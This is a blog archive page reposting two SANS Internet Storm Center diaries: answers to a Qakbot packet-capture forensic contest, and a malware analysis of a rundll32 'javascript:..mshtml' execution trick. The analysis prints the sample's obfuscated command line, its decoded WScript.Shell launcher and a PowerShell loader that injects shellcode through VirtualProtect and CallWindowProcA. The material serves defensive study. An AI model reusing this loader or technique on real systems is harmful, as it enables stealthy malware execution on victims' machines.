Blog

Archive for May 18th, 2021

May 2021 Forensic Contest: Answers and Analysis, (Wed, May 19th)

Introduction

Thanks to everyone who participated in the May 2021 forensic contest originally posted two weeks ago.  We received 45 submissions through our contact page, and most people had all the correct answers.  Unfortunately, we could only pick one winner.  In this case, our winner was the first to submit the correct information.  Join us in congratulating this month’s winner, Pratik!  Pratik will receive a Raspberry Pi 4 kit.

You can still find the pcap for our May 2021 forensic contest at this Github repository.


Shown above:  Pcap of the infection filtered in Wireshark.

Answers

IP address of the infected Windows computer:

  • 172.16.4.206

Host name of the infected Windows computer:

  • DESKTOP-V0FEH1L

User account name on the infected Windows computer:

  • alfonso.paternoster

Date and time the infection activity began in UTC (the GMT or Zulu timezone):

  • 2021-05-04 at 22:16:52 UTC

The family or families of malware on the infected computer:

  • Qakbot (Qbot)

To help in your analysis of this activity, please review the Requirements section in our original diary for this contest.

Malware from the pcap

The iniitial malware activity in the pcap is seen when the victim’s host retreived a Windows EXE or DLL from 185.183.99[.]115 on 2021-05-04 at 22:16:52 UTC.


Shown above:  TCP stream of traffic from 185.183.99[.]115 in the pcap.

The URL hosting this malware was reported to URLhaus, where it is tagged as Qakbot malware.  The IP address is also related to some malicious Excel spreadsheets with file names that start with Outstanding-Debt- and end with 05042021.xlsm.


Shown above:  Malicious Excel files submitted to Hatching Triage that contacted 185.183.99[.]115.

Qakbot traffic

Here’s a Wireshark filter I use to review suspected Qakbot traffic:

(http.request or tls.handshake.type eq 1 or (tcp.port eq 65400 and tcp.flags eq 0x0002) or smtp or pop or imap) and !(ssdp)

Qakbot causes HTTPS C2 traffic directly to IP addresses, often over TCP port 443, but also using non-standard HTTPS ports like 995 or 2222.  Qakbot also generates other traffic when it turns an infected Windows host into a spambot.  Using the above Wireshark filter, I can quickly find the following Qakbot activity:

  • Connectivity check to www.openssl.org (a legitimate site, not inherently malicious on its own)
  • TCP traffic over TCP port 65400
  • Connectivity/ IP address checks to api.ipifiy.org (also a legitimate site, not inherently malicious)
  • Connectivity or banner checks to various email servers
  • SMTP-based spambot traffic from the infected host


Shown above:  Other Qakbot-specific traffic from the infected Windows host.

Use a basic web filter and scroll down to the end of the pcap.  You should see indicators the infected host became a spambot and was contacting various email servers over TCP ports 25 and 465.


Shown above:  Start of spambot traffic from our Qakbot-infected host.

Final words

Qakbot infection activity follows noticeable patterns, which we covered in today’s diary.  The traffic isn’t much different than cases I’ve reported before, like this example from February 2021.

Thanks to all who participated in the May 2021 forensic contest, and congratulations again to Pratik for winning this month’s competition!

You can still find the pcap and malware at this Github repository.

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

From RunDLL32 to JavaScript then PowerShell, (Tue, May 18th)

I spotted an interesting script on VT a few days ago and it deserves a quick diary because it uses a nice way to execute JavaScript on the targeted system. The technique used in this case is based on very common LOLbin: RunDLL32.exe. The goal of the tool is, as the name says, to load a DLL and execute one of its exported function:

C:> rundll32.exe sample.dll,InvokedFunction()

Many Windows OS functions can be invoked through RunDLL32:

In the sample that was found, RunDLL32 is used to execute some JavaScript. Not a brand new technique but not very common (a retro-search on VT returned less than 50 samples!). To execute some JavaScript code, just call the DLL that provides JavaScript engine features:

C:> rundll32.exe javascript:..mshtml,...

How is JavaScript executed from this command line? As explained above, RunDLL32 expects to receive a DLL as the first argument (here: javascript:“..mshtml). To achieve this, it uses LoadLibrary() and tries to load javascript:“..mshtml which seems to be a relative path. RunDLL32 goes one directory up and starts to search for mshtml in the common directories. Because Microsoft is doing a nice job, it adds automatically ”.dll” to the DLL name if not found and starts to search again. The DLL is found in the System32 directory as ProcessMonitor shows:

Let’s have a look at the sample now (SHA256: 48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb). The current VT score is 8/58[1]. 

When RunHTMLApplication is invoked it tries to execute the heavily obfuscated JavaScript:

rundll32.exe javascript:uetv1..mshtml,RunHTMLApplication ;eval(usxzeso5<[email protected])#VRbshqu/Ridmm#(:) 
eso5/Dowhsnoldou)#Qsnbdrr(()#he0(<#%25sqrru5<zfvlh!vho23^qsnbdrr!,ghmuds!qsnbdrrhe<%25`sfr|:%25omn8<)'%25sqrru 
5))'%25sqrru5)%25qhe((/q`sdouqsnbdrrhe((/bnll`oemhod/rqmhu(:hdy!)ZUdyu/Dobnehof;;@RBHH/FduRushof)ZBnowdsu; 
;GsnlC`rd75Rushof)%25omn8Z2(((#:eso5/Sto)#$vhoehs$]]rxrvnv75]]vhoenvrqnvdsridmm]]w0/1]]qnvdsridmm/dyd!hdy!%2 
5dow;he0#-1-0(:|b`ubi)eso5(z|:bmnrd)(:.replace(/./g,function(qkp8{return(String.fromCharCode(qkp8.charCodeAt() 
^1));})) dHJ5e2Z1bmN0aW9uIGdke1BhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1R5cGVbXV0gJFBhc 
mFtZXRlcnMsW1BhcmFtZXRlcihQb3NpdGlvbj0xKV0gW1R5cGVdICRSZXR1cm5UeXBlPVtWb2lkXSk7JFR5cGVCdWlsZGVyPVtBcHBEb21haW5 
dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoI 
lJlZmxlY3RlZERlbGVnYXRlIikpLFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHl 
uYW1pY01vZHVsZSgiSW5NZW1vcnlNb2R1bGUiLCRmYWxzZSkuRGVmaW5lVHlwZSgidCIsIkNsYXNzLFB1YmxpYyxTZWFsZWQsQW5zaUNsYXNzL 
EF1dG9DbGFzcyIsW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pOyRUeXBlQnVpbGRlci5EZWZpbmVDb25zdHJ1Y3RvcigiUlRTcGVjaWFsTmF 
tZSxIaWRlQnlTaWcsUHVibGljIixbU3lzdGVtLlJlZmxlY3Rpb24uQ2FsbGluZ0NvbnZlbnRpb25zXTo6U3RhbmRhcmQsJFBhcmFtZXRlcnMpL 
...

The interesting piece of code is this one:

.replace(/./g,function(qkp8){return(String.fromCharCode(qkp8.charCodeAt()^1));})

The eval() deobfuscates the payload by doing an XOR with the value 1. Here is the decoded block of code:

try{
  drn4=new ActiveXObject("WScript.Shell");
  (drn4.Environment("Process"))("id1")="rpsst4={gwmi win32_process -filter processid=args};
  nlo9=(&rpsst4((&rpsst4(pid)).parentprocessid)).commandline.split();
  iex ([Text.Encoding]]::ASCII.GetString([Convert]]::FromBase64String(nlo9[3]])))";
  drn4.Run("%windir%syswow64windowspowershellv1.0powershell.exe iex env:id1",0,1);
} catch(drn4){}; close();

The payload is extracted from the process command line. The first block (nlo9[3]) is Base64-encoded:

try {
  function gd {
    Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]);
    $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule  ("InMemoryModule",$false).DefineType("t","Class,Public,Sealed,AnsiClass,AutoClass",  [System.MulticastDelegate]);$TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed");
$TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementation. Flags("Runtime,Managed");
  return $TypeBuilder.CreateType();
  }

  function ga {
    Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);
    $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("")[-1].Equals("System.dll")};
    $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");return  $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure));
   } 

  [Byte[]] $p=[Convert]::FromBase64String($nlo9[4]);
  [Uint32[]] $op=0;
  ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga kernel32.dll VirtualProtect),(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($p,$p.Length,0x40,$op);
  ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga user32.dll CallWindowProcA),(gd @([Byte[]],[Byte[]],[UInt32],[UInt32],[UInt32]) ([IntPtr])))).Invoke($p,$p,0,0,0);
} catch{} 
sleep(1);
exit;

This block is responsible for the shellcode injection. The shellcode is located in $nlo9[4].

RunDLL32 is a very good candidate to launch malicious activities because the tool is available in all Windows servers, is signed by Microsoft, and usually trusted to be executed.

[1] https://bazaar.abuse.ch/sample/48d597a1c5fa6751b1a3a48922ed15ba5e9ac615de88e53b68057e3ff9dd2acb/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →